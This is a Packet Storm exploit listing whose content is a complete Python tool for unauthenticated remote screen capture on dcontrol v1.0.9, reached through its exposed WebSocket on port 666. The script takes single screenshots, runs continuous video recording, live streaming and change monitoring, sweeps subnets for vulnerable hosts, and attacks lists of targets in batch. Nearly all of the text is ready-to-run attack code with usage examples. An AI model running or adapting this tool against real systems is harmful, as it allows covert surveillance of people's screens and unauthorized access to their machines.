PACKETSTORM

πŸ“„ dcontrol 1.0.9 Screen Capture_PACKETSTORM:222452

Description

The script is a fully featured remote screen-capture client targeting an exposed WebSocket service /ws associated with a dcontrol deployment. It includes capabilities that move beyond diagnostic or administrative testing into active surveillance and...
Visit Original Source

Basic Information

ID PACKETSTORM:222452
Published Jun 2, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : dcontrol v1.0.9 – Unauthenticated Remote Screen Capture and Surveillance Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe |
==================================================================================================================================

[+] Summary : The script is a fully featured remote screen-capture client targeting an exposed WebSocket service (/ws) associated with a β€œdcontrol” deployment.
It includes capabilities that move beyond diagnostic or administrative testing into active surveillance and unauthorized access workflows.

[+] POC : Examples:
Single screenshot : python3 1.py -t 192.168.1.100

Multiple screenshots : python3 1.py -t 192.168.1.100 --multi 20 --interval 2

Record video (30 seconds, 2 FPS) : python3 1.py -t 192.168.1.100 --record --duration 30 --fps 2

Monitor for changes : python3 1.py -t 192.168.1.100 --monitor --interval 5

Interactive mode : python3 1.py -t 192.168.1.100 --interactive

Scan network : python3 1.py --scan 192.168.1

#!/usr/bin/env python3

import asyncio
import websockets
import gzip
import base64
import argparse
import sys
import os
import time
import json
import threading
from datetime import datetime
from PIL import Image
import io
import cv2
import numpy as np

class DControlExploit:
def __init__(self, target_host, target_port=666, ssl=False):
"""
Initialize dcontrol exploit
"""
self.target_host = target_host
self.target_port = target_port
self.ssl = ssl
self.ws_url = f"{'wss' if ssl else 'ws'}://{target_host}:{target_port}/ws"
self.websocket = None
self.screenshot_count = 0
self.video_writer = None
self.recording = False

async def connect(self):
"""Establish WebSocket connection"""
try:
print(f"[*] Connecting to {self.ws_url}")
self.websocket = await websockets.connect(
self.ws_url,
timeout=10,
ping_interval=None
)
print(f"[+] Connected successfully to dcontrol service")
return True
except Exception as e:
print(f"[-] Failed to connect: {e}")
return False

async def disconnect(self):
"""Close WebSocket connection"""
if self.websocket:
await self.websocket.close()
print("[*] Connection closed")

async def capture_single_screenshot(self, quality=50, output_file=None):
"""
Capture a single screenshot
quality: 1-100 (compression level, lower = smaller file)
"""
if not self.websocket:
if not await self.connect():
return None

try:
print(f"[*] Requesting screenshot (quality: {quality})...")
await self.websocket.send(f'screen,{quality}')
data = await self.websocket.recv()
decompressed = gzip.decompress(data)
if not output_file:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = f"screenshot_{timestamp}.jpg"

with open(output_file, 'wb') as f:
f.write(decompressed)

file_size = len(decompressed) / 1024
print(f"[+] Screenshot captured! Saved as: {output_file} ({file_size:.2f} KB)")
try:
img = Image.open(io.BytesIO(decompressed))
print(f"[*] Image dimensions: {img.size[0]}x{img.size[1]}")
except:
pass

return output_file

except Exception as e:
print(f"[-] Failed to capture screenshot: {e}")
return None

async def capture_multiple_screenshots(self, count=10, interval=1, quality=50, output_dir="screenshots"):
"""
Capture multiple screenshots at specified intervals
"""
print(f"[*] Capturing {count} screenshots every {interval} second(s)...")
os.makedirs(output_dir, exist_ok=True)

screenshots = []

for i in range(count):
print(f"\n[*] Screenshot {i+1}/{count}")
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = os.path.join(output_dir, f"screenshot_{timestamp}_{i+1}.jpg")

result = await self.capture_single_screenshot(quality, filename)
if result:
screenshots.append(result)

if i < count - 1:
print(f"[*] Waiting {interval} seconds...")
await asyncio.sleep(interval)

print(f"\n[+] Captured {len(screenshots)} screenshots in '{output_dir}'")
return screenshots

async def start_video_recording(self, duration=None, fps=1, quality=50, output_file=None):
"""
Record video by capturing screenshots continuously
"""
if not output_file:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
output_file = f"screen_recording_{timestamp}.mp4"

print(f"[*] Starting video recording (FPS: {fps})")
print(f"[*] Output file: {output_file}")
if duration:
print(f"[*] Duration: {duration} seconds")
print("[*] Press Ctrl+C to stop recording")

frames = []
self.recording = True
start_time = time.time()
frame_count = 0

try:
while self.recording:
frame_start = time.time()
frame_data = await self.capture_single_screenshot(quality)

if frame_data:
img = Image.open(frame_data)
frames.append(np.array(img))
frame_count += 1
elapsed = time.time() - frame_start
delay = max(0, (1.0 / fps) - elapsed)
if duration and (time.time() - start_time) >= duration:
print(f"\n[*] Recording completed ({duration} seconds)")
break

if delay > 0:
await asyncio.sleep(delay)
if frame_data and os.path.exists(frame_data):
os.remove(frame_data)
if frames:
print(f"[*] Creating video from {frame_count} frames...")
self.create_video(frames, output_file, fps)
print(f"[+] Video saved: {output_file}")
else:
print("[-] No frames captured")

except KeyboardInterrupt:
print("\n[*] Recording stopped by user")
if frames:
self.create_video(frames, output_file, fps)
print(f"[+] Video saved: {output_file}")
except Exception as e:
print(f"[-] Recording error: {e}")

self.recording = False
return output_file

def create_video(self, frames, output_file, fps):
"""Convert frames to video file"""
if not frames:
return

height, width = frames[0].shape[:2]
fourcc = cv2.VideoWriter_fourcc(*'mp4v')
out = cv2.VideoWriter(output_file, fourcc, fps, (width, height))

for frame in frames:
frame_bgr = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
out.write(frame_bgr)

out.release()

async def live_stream(self, quality=30, fps=0.5):
"""
Live streaming mode - continuously capture and display screenshots
"""
print(f"[*] Starting live stream mode (FPS: {fps})")
print("[*] Press Ctrl+C to stop")

try:
while True:
frame_start = time.time()
data = await self.capture_single_screenshot(quality)

if data:
try:
img = Image.open(data)
img.show()
except:
pass

print(f"[*] Frame captured at {datetime.now().strftime('%H:%M:%S')}")
if data and os.path.exists(data):
os.remove(data)
elapsed = time.time() - frame_start
delay = max(0, (1.0 / fps) - elapsed)
await asyncio.sleep(delay)

except KeyboardInterrupt:
print("\n[*] Live stream stopped")

async def monitor_changes(self, interval=2, quality=30, threshold=0.95):
"""
Monitor screen for changes and save when significant change detected
"""
print(f"[*] Monitoring screen for changes (interval: {interval}s)")
print("[*] Press Ctrl+C to stop")

previous_image = None
changes_dir = f"screen_changes_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
os.makedirs(changes_dir, exist_ok=True)

try:
while True:
data = await self.capture_single_screenshot(quality)

if data:
current_image = Image.open(data)

if previous_image:
similarity = self.compare_images(previous_image, current_image)

if similarity < threshold:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
filename = os.path.join(changes_dir, f"change_{timestamp}.jpg")
current_image.save(filename)
print(f"[!] Screen change detected! Similarity: {similarity:.2%}")
print(f"[+] Saved: {filename}")

previous_image = current_image
os.remove(data)

await asyncio.sleep(interval)

except KeyboardInterrupt:
print(f"\n[*] Monitoring stopped. Changes saved in '{changes_dir}'")

def compare_images(self, img1, img2):
"""Compare two images and return similarity score"""
img1_gray = img1.convert('L').resize((100, 100))
img2_gray = img2.convert('L').resize((100, 100))
arr1 = np.array(img1_gray)
arr2 = np.array(img2_gray)
mse = np.mean((arr1 - arr2) ** 2)
max_mse = 255 ** 2

similarity = 1 - (mse / max_mse)
return similarity

async def interactive_mode(self):
"""Interactive shell for screen capture"""
print("""
╔═══════════════════════════════════════════════════════════════╗
β•‘ dcontrol v1.0.9 - Remote Screen Capture Exploit β•‘
β•‘ Unauthenticated WebSocket Access by indoushka β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

Commands:
capture [quality] - Capture single screenshot (quality: 1-100)
multi <count> [interval] - Capture multiple screenshots
record [duration] [fps] - Record video (duration in seconds, fps default 1)
stream [fps] - Live streaming mode
monitor [interval] - Monitor screen for changes
info - Show connection info
help - Show this help
exit/quit - Exit exploit

Examples:
> capture 50
> multi 10 2
> record 30 2
> stream 0.5
> monitor 3
""")

if not await self.connect():
return

while True:
try:
cmd = input(f"\n[dcontrol@{self.target_host}]> ").strip().lower()

if not cmd:
continue

if cmd == 'exit' or cmd == 'quit':
print("[*] Exiting...")
break

elif cmd == 'info':
print(f"Target: {self.target_host}:{self.target_port}")
print(f"WebSocket URL: {self.ws_url}")
print(f"Status: {'Connected' if self.websocket else 'Disconnected'}")

elif cmd.startswith('capture'):
parts = cmd.split()
quality = int(parts[1]) if len(parts) > 1 else 50
await self.capture_single_screenshot(quality)

elif cmd.startswith('multi'):
parts = cmd.split()
count = int(parts[1]) if len(parts) > 1 else 5
interval = int(parts[2]) if len(parts) > 2 else 1
await self.capture_multiple_screenshots(count, interval)

elif cmd.startswith('record'):
parts = cmd.split()
duration = int(parts[1]) if len(parts) > 1 else None
fps = int(parts[2]) if len(parts) > 2 else 1
await self.start_video_recording(duration, fps)

elif cmd.startswith('stream'):
parts = cmd.split()
fps = float(parts[1]) if len(parts) > 1 else 0.5
await self.live_stream(fps=fps)

elif cmd.startswith('monitor'):
parts = cmd.split()
interval = int(parts[1]) if len(parts) > 1 else 2
await self.monitor_changes(interval)

elif cmd == 'help':
print(__doc__)

else:
print("Unknown command. Type 'help' for available commands")

except KeyboardInterrupt:
print("\n[*] Interrupted")
break
except Exception as e:
print(f"[-] Error: {e}")

await self.disconnect()

class BatchExploit:
"""Batch operations for multiple targets"""

@staticmethod
async def scan_network(subnet, port=666):
"""Scan network for vulnerable dcontrol instances"""
print(f"[*] Scanning {subnet}.0/24 for dcontrol services...")

hosts = []
for i in range(1, 255):
ip = f"{subnet}.{i}"
try:
ws_url = f"ws://{ip}:{port}/ws"
ws = await websockets.connect(ws_url, timeout=3)
await ws.close()
print(f"[+] Found dcontrol at {ip}:{port}")
hosts.append(ip)
except:
pass

print(f"\n[*] Found {len(hosts)} vulnerable hosts")
return hosts

@staticmethod
async def exploit_multiple(hosts, quality=50, output_dir="batch_captures"):
"""Capture screenshots from multiple targets"""
os.makedirs(output_dir, exist_ok=True)

tasks = []
for host in hosts:
exploit = DControlExploit(host)
tasks.append(exploit.capture_single_screenshot(quality))

results = await asyncio.gather(*tasks, return_exceptions=True)

for host, result in zip(hosts, results):
if result and not isinstance(result, Exception):
print(f"[+] {host}: Screenshot saved")

def create_gif_from_screenshots(screenshot_dir, output_file="animation.gif", duration=500):
"""Create GIF from multiple screenshots"""
from PIL import ImageSequence

images = []
for file in sorted(os.listdir(screenshot_dir)):
if file.endswith('.jpg') or file.endswith('.png'):
images.append(Image.open(os.path.join(screenshot_dir, file)))

if images:
images[0].save(
output_file,
save_all=True,
append_images=images[1:],
duration=duration,
loop=0
)
print(f"[+] GIF created: {output_file}")

def main():
parser = argparse.ArgumentParser(
description='dcontrol v1.0.9 - Unauthenticated Remote Screen Capture',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Single screenshot
python3 %(prog)s -t 192.168.1.100

# Multiple screenshots
python3 %(prog)s -t 192.168.1.100 --multi 20 --interval 2

# Record video (30 seconds, 2 FPS)
python3 %(prog)s -t 192.168.1.100 --record --duration 30 --fps 2

# Monitor for changes
python3 %(prog)s -t 192.168.1.100 --monitor --interval 5

# Interactive mode
python3 %(prog)s -t 192.168.1.100 --interactive

# Scan network
python3 %(prog)s --scan 192.168.1
'''
)
parser.add_argument('-t', '--target', help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=666, help='Target port (default: 666)')
parser.add_argument('--ssl', action='store_true', help='Use WSS instead of WS')
parser.add_argument('-q', '--quality', type=int, default=50,
help='Image quality 1-100 (default: 50)')
parser.add_argument('-o', '--output', help='Output file name')
parser.add_argument('--multi', type=int, help='Number of screenshots to capture')
parser.add_argument('--interval', type=int, default=1,
help='Interval between captures in seconds (default: 1)')
parser.add_argument('--record', action='store_true', help='Record video')
parser.add_argument('--duration', type=int, help='Recording duration in seconds')
parser.add_argument('--fps', type=float, default=1, help='Frames per second (default: 1)')
parser.add_argument('--monitor', action='store_true', help='Monitor screen for changes')
parser.add_argument('--threshold', type=float, default=0.95,
help='Change detection threshold (default: 0.95)')
parser.add_argument('--scan', metavar='SUBNET', help='Scan subnet for vulnerable hosts')
parser.add_argument('--batch-file', help='File containing list of targets (one per line)')
parser.add_argument('-i', '--interactive', action='store_true',
help='Interactive mode')

args = parser.parse_args()

if args.scan:
hosts = asyncio.run(BatchExploit.scan_network(args.scan, args.port))
if hosts:
print("\n[*] Found hosts:")
for host in hosts:
print(f" - {host}")
sys.exit(0)

if args.batch_file:
with open(args.batch_file, 'r') as f:
hosts = [line.strip() for line in f if line.strip()]
asyncio.run(BatchExploit.exploit_multiple(hosts, args.quality))
sys.exit(0)

if not args.target:
parser.print_help()
sys.exit(1)
exploit = DControlExploit(args.target, args.port, args.ssl)
if args.interactive:
asyncio.run(exploit.interactive_mode())
sys.exit(0)
if args.record:
asyncio.run(exploit.start_video_recording(args.duration, args.fps, args.quality, args.output))
sys.exit(0)
if args.monitor:
asyncio.run(exploit.monitor_changes(args.interval, args.quality, args.threshold))
sys.exit(0)
if args.multi:
asyncio.run(exploit.capture_multiple_screenshots(args.multi, args.interval, args.quality))
sys.exit(0)
asyncio.run(exploit.capture_single_screenshot(args.quality, args.output))

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

πŸ’­ Join the Security Discussion

πŸ”’ Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.